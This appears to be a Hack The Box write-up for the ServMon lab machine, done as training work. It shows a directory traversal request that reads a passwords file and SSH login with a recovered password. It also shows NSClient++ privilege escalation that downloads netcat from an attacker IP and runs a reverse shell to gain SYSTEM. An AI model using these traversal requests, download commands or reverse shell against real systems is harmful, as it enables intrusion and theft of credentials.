ServMon

ServMon Windows @ 20 # 136 2 465

InfoGathering

SCOPE 10.10.10.184

WindowsBuildLabEx	: 18362.1.amd64fre.19h1_release.190318-1202
WindowsCurrentVersion	: 6.3
WindowsEditionId	: Professional
WindowsInstallationType	: Client
WindowsInstallDateFromRegistry	: 08/04/2020 21:31:42
WindowsProductId	: 00330-80112-18556-AA213
WindowsProductName	: Windows 10 Pro
WindowsRegisteredOrganization	
WindowsRegisteredOwner	: Nathan
WindowsSystemRoot	: C:\WINDOWS
WindowsVersion	- 1989

SERVICES

Services

host	port	proto	name	state	info
10.10.10.184	21	tcp	ftp	open	Microsoft ftpd
10.10.10.184	22	tcp	ssh	open	OpenSSH for_Windows_7.7 protocol 2.0
10.10.10.184	80	tcp	http	open	
10.10.10.184	135	tcp	msrpc	open	Microsoft Windows RPC
10.10.10.184	139	tcp	netbios-ssn	open	Microsoft Windows netbios-ssn
10.10.10.184	445	tcp	microsoft-ds	open	
10.10.10.184	5666	tcp	nrpe	open	
10.10.10.184	6699	tcp	napster	open	
10.10.10.184	8443	tcp	ssl/https-alt	open	

Microsoft ftpd 21/tcp open ftp ftp-anon: Anonymous FTP login allowed (FTP code 230) 12:05PM <DIR> 01-18-20 Users ftp-syst: SYST: Windows_NT

Signing into the server gave me two usernames

- Nadine
- Nathan

I was able to download and read the files on the FTP server using anonymous access on≓ cat Confidential.txt

Nathan,

I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

mld:-/HTB/ServMon# cat Notes\ to\ do.txt Nadine

- 1) Change the password for NVMS Complete 2) Lock down the NSClient Access Complete
- Upload the passwords
 Remove public access to NVMS
- Flace the secret files in SharePoint Li:~/HTB/ServMon#

SSH

10.10.10.184 10.10.10.184 [*] SSH-2.0-OpenSSH_for_Windows_7.7 SSH 22

OpenSSH for_Windows_7.7 (protocol 2.0) 22/tcp open ssh ssh-hostkev: 2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA) 256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA) 256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)

HTTP



JavaScript libraries

🕒 jQuery 1.7.2



favicon.ico	[Status: 200, Size: 1142, Words: 16, Lines: 4]
index.htm	[Status: 200, Size: 338, Words: 32, Lines: 13]
nul.htm	[Status: 200, Size: 0, Words: 1, Lines: 1]
/Pages/Login.htm	[Status: 200, Size: 2103, Words: 69, Lines: 60]
/Pages/Main.htm	[Status: 200, Size: 6096, Words: 1256, Lines: 142]



SMB

SMB	10.10.10.184 445	SERVMON	[*] Windows 10.0 Build 18362 x64 (name:SERVWOW) (domain:SERVMON) (signing:False) (SMBv1:Fal	se)
AFTE	R OBTAINING PA	SSWORD I	ENUMERATED SHARES	
[+]	10.10.10.18	4:445	- ADMIN\$ - (DISK) Remote Admin	
[+]	10.10.10.18	4:445	- C\$ - (DISK) Default share	
[+]	10.10.10.18	4:445	- IPC\$ - (IPC) Remote IPC	

HTTPS



арі	[Status: 403, Size: 20, Words: 4, Lines: 1]
index.html	[Status: 200, Size: 5581, Words: 284, Lines: 1]

LOGIN PAGE: https://10.10.10.184:8443/index.html#/console

Sign in to use NSClient++



Gaining Access

NVMS-1000 is vulnerable to a directory traversal vulnerability using GET /../../../../../../../windows/win.ini

Request

	Raw	Params	Headers	Hex			
1	1 GET /////////windows/win.ini HTTP/1.1						
2	2 Host	: 10.10.1	0.184				
100	3 User	-Agent: M	lozilla/5.0) (X11	; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0		
4	Acce	pt: text/	html, appli	icatio	n/xhtml+xml,application/xml;q=0.9,*/*;q=0.8		
5	5 Acce	, pt-Langua	ge: en-US,	, en ; q=	9.5		
6	6 Accept-Encoding: gzip, deflate						
7	7 DNT:	1					
8	3 Conn	ection: c	lose				
ç	Cook	ie: dataP	ort=6063				
10) Upgr	ade-Insec	ure-Reques	sts: 1			
11	11.1.1						

Response						
Raw Headers Hex						
1	HTT	P/1.1 200	0K			
2	Con	tent-type:	:			
3	Con	tent-Lengt	th: 92			
4	Con	nection: (close			
5	Aut	hInfo:				
6						
7	; for 16-bit app support					
8	[fonts]					
9	[extensions]					
10	[mci extensions]					
11	[fi	les]				
12	[Mail]					
13	MAP	I=l				
14						

Shortening the request I discoverd I am 3 directories away from Windows root dir. GET /../../Windows/win.ini HTTP/1.1

Nadine told Nathan



We can read this file

GET /../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1

Request

Raw Params Headers Hex

```
1 GET /../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1
```

```
2 Host: 10.10.10.184
```

```
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
```

```
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
5 Accept-Language: en-US,en;q=0.5
```

```
6 Accept-Encoding: gzip, deflate
```

```
7 DNT: 1
```

```
8 Connection: close
```

```
9 Cookie: dataPort=6063
```

```
10 Upgrade-Insecure-Requests: 1
```

```
11
```

```
12
```

Response

Raw		Headers	Hex	Render		
1	HTT	P/1.1 200				
2	Con	tent-type:	text	/plain		
3	Con	tent-Lengt	th: 150	5		
4	Con	nection: (close			
5	AuthInfo:					
6						
7	lnsp3ctTh3Way2Mars!					
8	Th3r34r3ToOM4nyTrait0r5!					
9	B3WithM30r4galn5tMe					
10	L1k3B1gBut7s@W0rk					
11	Only7h3y0unGWillF0ll0w					
12	IfH3s4b0Utg0t0H1sH0me					
13	Gr4	etN3w5w17h	nMySk1	Pa5\$		

Th3r34r3To0M4nyTrait0r5! B3WithM30r4ga1n5tMe L1k3B1gBut7s@W0rk Only7h3y0unGWi11F0I10w IfH3s4b0Utg0t0H1sH0me Gr4etN3w5w17hMySk1Pa5\$

I tested this password list against Nathan and Nadine and discovered Nadines password USER: nadine PASS: L1k3B1gBut7s@W0rk

I was then able to SSH into the machine ssh nadine@10.10.10.184
L1k3B1gBut7s@W0rk

I now have access to read the user flag

type C:\Users\Nadine\Desktop\user.txt
RESULTS
7dd2b1dc2e0e259d58281f35a3fc454f

USER FLAG: 7dd2b1dc2e0e259d58281f35a3fc454f

PrivEsc

NSClient++ is vulnerable to a local priviledge escaltion vulnerability exploits/windows/local/46802.txt

The master password is in C:\Program Files\NSClient++\nsclient.ini

Get-Content -Path "C:\Program Files\NSClient++\nsclient.ini" | Select-String -Pattern 'password'

PS C:\Users\Nadine> Get-Content -Path "C:\Program Files\NSClient++\nsclient.ini" | Select-String -Pattern 'password'

password = ew2×6SsGTxjRwXOT

PASS: ew2x6SsGTxjRwXOT

I was not able to sign into the target using this method. I received a 403 not allowed error.

We are not able to use forgot password through the gui but we can through the command line



In order to reach the GUI easily I created a Local SSH Tunnel. Then I continued on using the PrivEsc method from the reference above.

Next I activated the needed modules

```
ssh -L 8443:127.0.0.1:8443 -L 443:127.0.0.1:443 nadine@10.10.10.184
L1k3B1gBut7s@W0rk
cd "C:\Program Files\NSClient++"
nscp settings --activate-module CheckExternalScripts
nscp settings --activate-module Scheduler
# AFter changing the settings I downloaded my files to the target
powershell
Invoke-WebRequest http://10.10.14.33/nc64.exe -OutFile C:\Temp\nc64.exe
Invoke-WebRequest http://10.10.14.33/servmon-tobor.bat -OutFile C:\Temp\servmon-tobor.bat
PS C:\Temp> Invoke-WebRequest http://10.10.14.33/nc64.exe -OutFile C:\Temp\nc64.exe
PS C:\Temp> Invoke-WebRequest http://10.10.14.33/servmon-tobor.bat -OutFile C:\Temp\servmon-tobor.bat
PS C:\Temp> dir
     Directory: C:\Temp
Mode
                         LastWriteTime
                                                     Length Name
 ----
                17/04/2020
                                   23:36
                                                      43696 nc64.exe
 -a----
                17/04/2020
                                   23:36
                                                         53 servmon-tobor.bat
 -a----
```

tobor.bat CONTENTS

@echo off
c:\temp\nc64.exe 10.10.14.11 443 -e cmd.exe

SIgn into the client GUI and create a new external script

/ Settings

includes	🖷 Info	+ Add	d new		
modules	Section		/settings/external scripts/scripts/foobar		
paths			Specify the path of the section here		
- settings		Key	command		
+ NRPE			Specify the new key to add here		
+ WEB	,	Value	C:\Temp\servmon-tobor.bat		
core		Specify the new value to add here			
crash	Add				
default					
 external scripts 					
🕂 alias					
- scripts					
default					
foobar					

Then create a task to execute this once a minute also add Key : command Value : foobar with Key : interval Value : 1m

includes	Mark Info V Changed J Basic + Add new
modules	Section /settings/scheduler/schedules/foobar
paths	Specify the path of the section here
- settings	Key interval
+ NRPE	Specify the new key to add here
+ WEB	Value 1m
core	Specify the new value to add here
crash	Add
default	
+ external scripts	
+ log	
- scheduler	
- schedules	
default	
he task ran and I gained a shell as SYST	EM
(1) (1)	2551005 -1 2

```
[*] Starting interaction with 2 ...
C:\Program Files\NSClient++>type C:\Users\administrator\desktop\root.txt
type C:\Users\administrator\desktop\root.txt
90335ff2819c1476e07a1382eb758ed6
C:\Program Files\NSClient++>whoami
whoami
nt authority\system
```

C:\Program Files\NSClient++>

ROOT FLAG: 90335ff2819c1476e07a1382eb758ed6